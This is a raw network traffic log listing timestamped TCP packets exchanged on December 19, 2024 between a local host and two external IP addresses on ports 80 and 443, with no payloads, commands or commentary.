Dec 19, 2024 03:09:34.152451038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152478933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.152503967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152514935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.152523994 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.152579069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.153121948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.153171062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.153290987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.153343916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.156888008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156903982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156925917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156944036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.156949043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156968117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.156969070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.156974077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156991005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.156991005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.157020092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.157040119 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.157191992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.157243013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.157267094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.157331944 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.158143997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.158198118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.158308983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.158364058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.159137011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.159190893 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.159239054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.159295082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.160095930 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.160149097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.160223961 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.160274029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.161091089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.161144018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.161190033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.161243916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.162107944 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.162189007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.162230968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.162283897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.163111925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.163167000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.163211107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.163264036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.164097071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.164156914 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.164206028 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.164261103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.165101051 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.165153027 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.165199995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.165254116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.166101933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.166157961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.166223049 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.166275978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.167187929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.167243004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.167289972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.167339087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.168165922 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.168215036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.168247938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.168299913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.169089079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.169141054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.169188023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.169240952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.170192957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.170248985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.170289040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.170357943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.171195030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.171247959 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.171288967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.171351910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.172182083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.172259092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.172265053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.172317028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.173316956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.173372984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.173429012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.173477888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.174324036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.174380064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.174426079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.174493074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.175354958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.175482988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.175523043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.175573111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.176357031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.176413059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.176505089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.176580906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.177361965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.177422047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.177508116 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.177576065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.178390980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.178452969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.178510904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.178563118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.179455996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.179512978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.179568052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.179625034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.180416107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.180475950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.180520058 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.180573940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.181590080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.181648970 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.181744099 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.181799889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.182787895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.182893991 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.182945967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.183001041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.183954954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.184014082 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.184125900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.184182882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.185149908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.185209036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.185292006 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.185348988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.186084032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.186156034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.186239004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.186295986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.186909914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.186968088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.187067986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.187124968 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.187717915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.187774897 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.187819958 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.187887907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.188282013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.188338041 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.188373089 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.188430071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.189105988 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.189224005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.189282894 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.190100908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.190165043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.190243959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.190299034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.191085100 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.191143036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.191210985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.191265106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.192078114 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.192240953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.192296982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.193085909 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.193140984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.193207979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.193264008 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.194117069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.194186926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.194627047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.194684029 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.195240974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.195298910 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.195390940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.195462942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.196264982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.196403980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.196459055 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.197173119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.197228909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.197316885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.197372913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.198110104 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.198164940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.198199987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.198256016 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.199062109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.199117899 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.339488029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.339533091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.339561939 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.339570999 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.339596987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.339617014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.339629889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.339847088 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.340497971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.340560913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.340610981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.340667009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.341460943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.341517925 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.341574907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.341629982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.342443943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.342504978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.342581987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.342639923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.343436003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.343491077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.343554020 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.343622923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.344427109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.344484091 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.344559908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.344614983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.345422029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.345532894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.345534086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.345587969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.346425056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.346498013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.346555948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.346612930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.347435951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.347491980 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.347559929 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.347609997 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.348457098 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.348516941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.348579884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.348634958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.349427938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.349483967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.349554062 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.349610090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.350403070 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.350459099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.350560904 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.350619078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.351545095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.351602077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.351671934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.351731062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.352497101 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.352550030 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.352555990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.352605104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.353570938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.353631020 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.353698969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.353754044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.354831934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.354892015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.354922056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.354978085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.355878115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.355956078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.356005907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.356056929 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.357099056 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.357155085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.357225895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.357276917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.358073950 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.358119965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.358127117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.358175039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.358851910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.358906031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.358916044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.358968019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.359481096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.359533072 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.359551907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.359600067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.360392094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.360443115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.360486031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.360541105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.361459017 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.361551046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.361613035 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.362406015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.362468958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.362503052 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.362557888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.363440037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.363507986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.363531113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.363579988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.364391088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.364448071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.364495993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.364547014 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.365376949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.365431070 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.365479946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.365531921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.366349936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.366401911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.366580963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.366635084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.366781950 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:34.367018938 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:34.367075920 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:34.367183924 CET	49893	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:34.367196083 CET	443	49893	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:34.367501974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.367571115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.367615938 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.367671013 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.368604898 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.368663073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.368712902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.368777990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.369400024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.369494915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.369570017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.369570017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.370441914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.370567083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.370623112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.371582031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.371635914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.371637106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.371701002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.372368097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.372420073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.372467995 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.372545958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.373377085 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.373439074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.373512983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.373567104 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.374358892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.374417067 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.374492884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.374696016 CET	49885	80	192.168.2.5	31.41.244.11
